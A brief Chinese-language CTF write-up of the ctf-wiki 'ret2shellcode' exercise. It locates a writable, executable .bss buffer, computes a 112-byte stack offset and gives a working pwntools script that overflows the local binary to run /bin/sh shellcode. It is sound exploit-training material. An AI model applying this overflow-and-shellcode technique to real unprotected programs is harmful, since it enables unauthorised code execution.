ret2shellcode

wiki上的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/


什么保护都没有

把文件放入ida F5一下



把输入的s复制到了buf2



发现buf2在bss段,buf2地址为0x0804A080,检查一下buf2是否可写(通常都是可写的),因为没开保护,我们可以直接写入shellcode

输入命令gdb ./ret2shellcode,r运行,然后用ctrl+c打断一下,输入vmmap,可以查看buf2所在的区间0x0804a000到0x0806c000的权限为rwxp,w为可写

image.png

先算出偏移量112


写一下脚本

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2 = 0x0804A080

payload = shellcode.ljust(112, 'A') + p32(buf2) 

p.sendline(payload)
p.interactive()

运行一下 python ./ret2shellcode.py



大功告成!

你可能感兴趣的:(ret2shellcode)